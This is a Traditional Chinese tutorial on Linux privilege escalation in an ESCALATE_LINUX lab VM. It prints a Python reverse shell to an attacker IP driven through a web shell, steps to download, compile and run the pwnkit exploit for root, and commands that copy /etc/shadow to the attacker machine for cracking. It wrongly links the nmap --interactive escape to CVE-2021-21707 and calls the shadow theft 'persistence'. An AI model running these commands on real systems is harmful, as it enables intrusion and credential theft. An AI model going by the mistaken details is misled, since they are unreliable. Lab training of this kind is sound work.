返回文章列表

Linux 許可權提升:列舉技巧與漏洞利用實戰

本文探討 Linux 系統許可權提升的技巧,涵蓋從基礎概念到實戰演練的完整流程。從檔案許可權、使用者/群組管理到 SUID/SGID 等特殊許可權,文章解析了許可權提升的核心機制。同時,以 Bash Shell 為例,演示瞭如何利用列舉技術收集系統資訊、探索漏洞,並結合實際案例說明如何利用 SUID/SGID

資安 系統管理

Linux 系統的許可權提升涉及多個層面,從理解檔案許可權、使用者和群組管理到掌握 SUID、SGID 等特殊許可權,都是進行有效許可權提升的關鍵。在實務操作中,許可權提升通常需要結合多種技術,例如資訊收集、漏洞識別和利用。系統管理員和安全測試人員可以利用這些技術來發現並修復系統漏洞,而攻擊者則可能利用這些漏洞取得未經授權的系統存取許可權。因此,瞭解許可權提升的原理和防範措施至關重要。本文將以 Bash Shell 為例,逐步講解如何在 Linux 系統中進行許可權提升,並探討相關的防範措施。首先,透過網路掃描、Web Shell 構建和反向 Shell 連線等步驟,模擬攻擊者取得初始系統存取許可權的過程。接著,利用 Bash 命令進行系統列舉,收集目標系統的資訊,例如使用者歷史記錄、作業系統版本和核心版本等。然後,根據收集到的資訊,搜尋已知的漏洞並嘗試利用這些漏洞進行許可權提升。最後,討論如何利用 SUID 和 SGID 二進位制檔案進行許可權擴充套件,並提供一些實用的指令碼和工具,幫助讀者更有效地進行許可權提升測試。

輕鬆取得 Linux 系統許可權:許可權提升的列舉技巧

在探討 Unix/Linux 系統的許可權提升路徑之前,首先必須瞭解 Unix/Linux 的許可權模型。這是掌握許可權提升概念的關鍵:

  • 檔案許可權:每個檔案都有讀取 (r)、寫入 (w) 及執行 (x) 的旗標,適用於擁有者、群組及其他使用者。
  • 特別許可權:SUID、SGID 及 Sticky Bit 等特別許可權也會影響許可權層級。
  • 使用者與群組管理/etc/passwd/etc/shadow 檔案在存取控制中扮演重要角色。

許可權提升技術通常涉及資訊收集、漏洞識別及利用。攻擊者可能會連線多個漏洞或錯誤組態,逐步提升存取層級。需要注意的是,許可權提升本身並不一定具有惡意性。系統管理員和安全專業人員使用這些技術來識別和修復安全弱點。然而,如果落入惡意攻擊者手中,許可權提升可能導致未經授權的存取、資料洩露及系統受損。

為防止未經意圖的許可權提升,可以採取以下預防措施:

  • 定期系統更新與修補管理
  • 正確組態檔案與目錄許可權
  • 實施最小特權原則
  • 使用安全增強型 Linux(SELinux)或 AppArmor
  • 定期進行安全稽核與漏洞評估

瞭解許可權提升對於防範和進行 Unix/Linux 系統測試(pentest)至關重要,它為後續章節中將探討的更高階技術和利用奠定基礎。

以下將探討如何進行列舉以進行許可權提升。

列舉技術概述

列舉是許可權提升過程中的關鍵階段,讓測試人員能夠收集目標系統的相關資訊。這一部分將聚焦於 Bash 命令及其技術來進行有效的系統列舉以進行許可權提升。

在 Bash Shell 中進行許可權提升

初始存取

在進入詳細的許可權提升步驟之前,我們先來瞭解如何連線到 ESCALATE_LINUX 虛擬機器,並將其稱為本章節中的目標系統。在建立可工作的 shell 之後,我們將進入後續步驟。

在本練習中,玄貓使用 VirtualBox 虛擬機器環境來執行 Kali 與 ESCALATE_LINUX 虛擬機器。Kali 和 ESCALATE_LINUX 皆提供可下載並匯入至 VirtualBox 的虛擬機器 OVA 檔案。

虛擬網路介面組態

虛擬網路介面被組態為使用主機專用網路介面卡(NIC),如下圖所示:

此圖示展示了虛擬網路介面的組態方式。

Kali 虛擬機器網路介面組態

Kali 虛擬機器應新增一個額外的虛擬網路介面。Kali 的兩個虛擬網路介面中,應有一個設定為主機專用模式(Host-only),另一個設定為橋接模式(Bridged),如下圖所示:

此圖示展示了 Kali VirtualBox 網路介面組態。

網路掃描與初始存取

數位地址查詢

Kali 虛擬機器已預先安裝了虛擬機器客戶端擴充功能,可查詢網路介面以取得其 IP 地址資訊。由於目標系統未安裝 VirtualBox 客戶端擴充功能,無法查詢其 IP 地址資訊,只能依賴 Kali。

以下指令可以協助識別 Kali 的網路介面連線方式:

$ cat /VirtualBox/GuestInfo/Net/0/V4/IP
$ cat /VirtualBox/GuestInfo/Net/1/V4/IP

以上指令分別對應到 NIC 1 與 NIC 2。由於 NIC 1 組態為主機專用模式且 IP 地址為 192.168.56.101 ,因此玄貓推測目標系統也位於此網路上。接著玄貓掃描該網路以尋找 TCP 埠 80(HTTP)正在監聽的 IP 地址:

$ nmap -p 80 192.168.56.0/24

網頁內容查詢

若在瀏覽器中存取該地址,可以看到 Apache2 預設頁面:

目錄掃描

由於僅找到預設網站內容,因此玄貓需要檢查是否有其他網頁內容存在。玄貓執行以下 dirsearch 指令:

$ dirsearch -u http://192.168.56.102

結果顯示有 shell.php 檔案存在。

Web Shell 構建與反向 Shell 接收

構建反向 Shell

在 Kali 的終端機中輸入以下指令來開啟反向連線監聽:

$ nc -nlvp 4444

然後前往 PentestMonkey 的反向 Shell 技巧頁面並複製 Python 語法版本的反向 Shell 指令碼。

開啟 CyberChef 網站並將上述 Python 指令碼貼上到輸入欄位中,將執行指令由 /bin/sh 改為 /bin/bash ,並將 IP 地址與埠號修改為與 Kali 一致的設定。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_KALI_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

執行反向 Shell

在瀏覽器中開啟目標系統的 shell.php 頁面並貼上上述 Python 指令碼:

https://192.168.56.102/shell.php?cmd=python+...+(YOUR_PYTHON_CODE)

在 Kali 的終端機應該會看到已成功建立反向 Shell 連線。

建立反向 Shell 接收並登入目標系統

成功建立反向連線後,玄貓開始探索目標系統內部資訊。

檢查 Sudo 許可權

首先玄貓想知道是否可以使用 sudo 執行命令。輸入以下指令來檢查 sudo 許可權:

$ sudo -l

由於未知密碼且未獲授予 sudo 許可權,這條路徑無法繼續推進。若知道密碼並且幸運地成功執行 sudo 指令時,命令輸出結果可能顯示可以執行特定命令並利用其進行許可權提升。

許可權提升風險防範措施

為了防止未經意圖的許可權提升事件發生,管理員應該考慮以下幾種預防措施:

  • 定期更新與修補管理:確保所有軟體和應用程式都處於最新狀態。
  • 正確組態檔案與目錄許可權:避免過於寬鬆的檔案或目錄許可權設定。
  • 實施最小特權原則:確保每個使用者僅獲得必要最低特權即可完成其工作。
  • 使用 SELinux 或 AppArmor:增加額外層次的安全保護。
  • 定期安全稽核與漏洞評估:透過定期測試與稽核發現並修復潛在安全漏洞。

許可權提升技術與 Bash Shell 探索

在進行許可權提升時,探索 Bash Shell 是非常關鍵的一步。以下是玄貓在實務中所採用的詳細探索與許可權提升步驟。

目錄檢查與歷史記錄分析

首先,我們需要檢查目前的工作目錄,例如 /var/www/html。這個目錄中可能會包含一些敏感資訊或憑證。然而,大多數情況下,這裡並不會有太多有用的資訊。

接著,我們可以檢查使用者的家目錄來尋找任何有價值的資訊。使用 cat 命令來檢視使用者過去輸入的命令:

cat /home/user6/.bash_history

在這個過程中,我們發現了一個有趣的檔案:

Figure 11.11 – A file that indicates this user has sudo rights

這個檔案顯示該使用者曾經使用過 sudo 命令。然而,由於不知道使用者的密碼,我們無法直接使用 sudo -l 來檢視他們可以執行哪些命令。

檢視其他使用者的歷史記錄

接下來,我們可以嘗試檢視其他使用者的 .bash_history 檔案,這樣可能會找到一些有用的資訊:

find /home -name .bash_history 2>/dev/null -exec cat {} +

這個命令會在所有使用者的家目錄中搜尋 .bash_history 檔案,並列出它們的內容。雖然我們沒有找到任何明確的憑證,但這些資訊在之後可能會很有用。

作業系統與核心版本敘述

接下來,我們需要了解目標系統的架構、核心版本和發行版本。這些資訊可以幫助我們找到潛在的漏洞。以下是一些常見的命令:

uname -a

這個命令會顯示系統的基本資訊,例如核心版本和架構。例如:

Figure 11.12 – The command output shows essential information about the target operating system

要獲得更詳細的作業系統資訊,可以使用以下命令:

cat /etc/lsb-release
cat /etc/os-release

內容解密:

這兩個命令分別顯示了系統的發行版本和詳細資訊。/etc/lsb-release 檔案通常包含了 Linux Standard Base(LSB)相關的資訊,而 /etc/os-release 檔案則包含了更詳細的作業系統資訊。

搜尋漏洞與利用

根據取得的作業系統和核心版本資訊,我們可以開始搜尋相關的漏洞。例如,如果目標系統執行的是 Ubuntu 18.04 且核心版本為 4.15,我們可以使用 searchsploit 工具來搜尋相關漏洞:

searchsploit -s "4.15" --id

內容解密:

searchsploit 是一個非常強大的工具,可以讓我們快速在 Exploit-DB 中搜尋相關漏洞。-s 選項表示嚴格搜尋,而 --id 選項則會顯示 Exploit-DB 的 ID 值而不是本地路徑。

根據搜尋結果,我們發現了一個名為 polkit/pwnkit 的漏洞(CVE-2021-4034)。這個漏洞影響了 polkit 的某些版本。

驗證漏洞

接下來,我們需要驗證目標系統是否受到此漏洞影響。可以使用以下命令來檢查 polkit 的版本:

pkexec --version

內容解密:

如果傳回結果顯示 polkit 的版本低於 0.120 ,則表示目標系統受到此漏洞影響。

下載與編譯利用程式碼

確認漏洞存在後,我們可以從 Exploit-DB 下載相關利用程式碼。首先,確保目標系統上安裝了 GCC 編譯器:

which gcc

接著,使用 searchsploit -m <exploit_id> 命令將利用程式碼下載到當前目錄。例如:

searchsploit -m 50689

內容解密:

下載完成後,會得到兩個檔案:evil-so.cexploit.c。這些檔案包含了利用漏洞所需的程式碼。

編譯與執行利用程式

將利用程式上傳到目標系統後,進入 /tmp/dev/shm 目錄(因為這些目錄通常是可寫入的),並執行以下命令進行編譯:

gcc -o exploit exploit.c evil-so.c -fPIC
chmod +x exploit
./exploit

內容解密:

  • gcc -o exploit exploit.c evil-so.c -fPIC:這條命令將兩個 C 檔案編譯成一個可執行檔案。
  • chmod +x exploit:這條命令使得編譯出來的可執行檔案具有執行許可權。
  • ./exploit:最後執行編譯出來的利用程式。

成功執行後,我們應該獲得一個 root Shell。

建立持久化

獲得 root 許可權後,我們需要建立持久化措施以便未來能夠重複進入系統。例如,複製 /etc/shadow 檔案並將其轉移到我的 Kali 機器上進行密碼破解:

cat /etc/shadow > /tmp/shadow_backup
scp /tmp/shadow_backup user@kali_ip:/path/to/destination/
john shadow_backup

內容解密:

  • cat /etc/shadow > /tmp/shadow_backup:複製 /etc/shadow 檔案。
  • scp /tmp/shadow_backup user@kali_ip:/path/to/destination/:將檔案傳輸到 Kali 機器上。
  • john shadow_backup:使用 John the Ripper 工具進行密碼破解。

成功破解後,我們得到 root 的密碼(例如 “12345”),便能夠隨時進入該系統並擁有最高許可權。

拓展閱讀及思考

在實務操作中,許可權提升技術不僅僅侷限於上述步驟。不同環境中的安全措施可能會有所不同,因此需要靈活應對各種情況。此外,熟悉常見工具(如 Metasploit、Nmap、Netcat)也能大幅提升許可權提升的效率和成功率。

透過以上步驟及思考過程,玄貓希望讀者能夠更深入瞭解許可權提升技術並在實際操作中加以應用。

利用 Bash 擴充套件許可權:探索 SUID 與 SGID 二進位制檔案

在實際測試與學習的過程中,玄貓認為如果沒有發現明顯的漏洞,可以繼續對系統進行許可權擴充套件的路徑列舉。接下來,我們將檢查 user6 的路徑中是否存在可寫入的目錄。如果在路徑中發現可寫入的目錄,我們可能能夠劫持並替換其內容。

檢查路徑中的可寫入目錄

這裡我們使用一個 Bash 指令碼來檢查路徑中的目錄是否可寫入。這個指令碼可以在章節的 GitHub 儲存函式庫中找到,命名為 ch11_checkpath.sh

#!/usr/bin/env bash

# 取得 PATH 環境變數
path_dirs=$(echo $PATH | tr ':' '\n')

# 函式用於遞迴檢查寫許可權
check_permissions() {
    local dir=$1
    echo "[i] 檢查 $dir 及其子目錄的寫許可權:"

    find "$dir" -type d | while read subdir; do
        if [ -w "$subdir" ]; then
            echo "[!] $subdir 是可寫入的!"
        else
            echo "[-] $subdir 不可寫入"
        fi
    done
}

# 遍歷 PATH 中的每個目錄並遞迴檢查寫許可權
for dir in $path_dirs; do
    if [ -d "$dir" ]; then
        check_permissions "$dir"
    fi
done

內容解密:

這段程式碼首先定義了一個 Shebang 行,指定使用 Bash 直譯器。然後,程式碼會擴充套件 PATH 環境變數,並將每個冒號替換為換行符,使每個目錄佔一行,並將這些資料分配給 path_dirs 變數。

接著,我們定義了一個函式 check_permissions,它接受一個目錄作為引數並檢查該目錄及其子目錄是否可寫入。這是透過 find 命令來實作的,它會列出所有子目錄,然後針對每個子目錄檢查其寫許可權。

最後,程式碼會遍歷 path_dirs 中的每個目錄,並將每個目錄傳遞給 check_permissions 函式進行檢查。

在系統中執行指令碼

當我們在目標系統上執行這個指令碼時,沒有發現任何可寫入的目錄。

$ ./ch11_checkpath.sh

[i] 檢查 /usr/local/sbin 及其子目錄的寫許可權:
[-] /usr/local/sbin 不可寫入
[i] 檢查 /usr/local/bin 及其子目錄的寫許可權:
[-] /usr/local/bin 不可寫入
[i] 檢查 /usr/sbin 及其子目錄的寫許可權:
[-] /usr/sbin 不可寫入
[i] 檢查 /usr/bin 及其子目錄的寫許可權:
[-] /usr/bin 不可寫入
[i] 檢查 /sbin 及其子目錄的寫許可權:
[-] /sbin 不可寫入
[i] 檢查 /bin 及其子目錄的寫許可權:
[-] /bin 不可寫入
[i] 檢查 /usr/games 及其子目錄的寫許可權:
[-] /usr/games 不可寫入

檢查環境變數中的憑證

接下來,我們將使用以下命令來檢查環境變數中的憑證、金鑰或任何有趣的資料:

$ env

然而,這次我們沒有在環境變數中找到任何有趣的資料。

探索執行中的程式

接下來,我們將探索執行中的程式。可以使用 pspy 工具來監控執行中的程式而不需要 root 許可權。這個工具可以從 GitHub 上下載:https://github.com/DominicBreuker/pspy。

$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

$ chmod +x pspy64

$ ./pspy64

探索 SUID 和 SGID 二進位制檔案

SUID 和 SGID 是 Unix-like 系統中的特殊許可權,允許使用者以檔案擁有者或群組的許可權執行檔案。如果濫用這些許可權,可能會導致許可權擴充套件。玄貓認為我們應該專注於識別和利用 SUID/SGID 二進位制檔案以進行許可權擴充套件。

檔案許可權快速回顧

首先回顧一下 Linux 檔案許可權。假設有一個檔案 shell.php 的許可權如下:

-rw-r--r-- 1 root root 68 Jun 4 2019 shell.php

這個輸出可以分解如下:

  • -rw-r--r--:表示這是一個普通檔案(第一個字元為 -),且擁有者有讀寫許可權(第二至第四字元為 rw-),群組和其他使用者只有讀許可權(第五至第六個字元和第七至第八個字元均為 r--)。

SUID 和 SGID 的特殊許可權

除了基本的讀、寫、執行許可權外,Linux 特殊檔案許可權還包括 SUID 和 SGID:

  • SUID:當應用於執行檔時,SUID 允許檔案以擁有者的許可權執行,而不僅僅是執行者的許可權。SUID 在擁有者執行位置表示為 s
  • SGID:當應用於執行檔時,SGID 允許檔案以群組的許可權執行。

要設定 SUID 許可權:

chmod u+s filename

或使用數字表示法:

chmod 4000 filename

SUID 檔案示例:

-rwsr-xr-x 1 root root ...

在 Bash 中利用 SUID 和 SGID 二進位制檔案

在實務應用中,我們應該注意以下幾點:

  • 識別 SUID/SGID 二進位制檔案:使用以下命令來列出具有 SUID/SGID 許可權的二進位制檔案:

    find / -perm -4000 -type f -exec ls -l {} \;   # 查詢 SUID 檔案
    find / -perm -2000 -type f -exec ls -l {} \;   # 查詢 SGID 檔案
    
  • 分析 SUID/SGID 二進位制檔案:對於找到的每個二進位制檔案進行深入分析以確定它是否存在潛在漏洞或弱點。

  • 範例:利用具有 SUID 的 nmap:如果系統上存在具有 SUID 許可權且版本存在已知漏洞(如 CVE-2021-21707)的 nmap 二進位制檔案,我們可以利用該漏洞來取得 root 許可權:

    ./nmap --interactive
    
    nmap> !sh       # 在互動模式下獲得 shell 模擬器執行 sh 命令取得 root 許可權。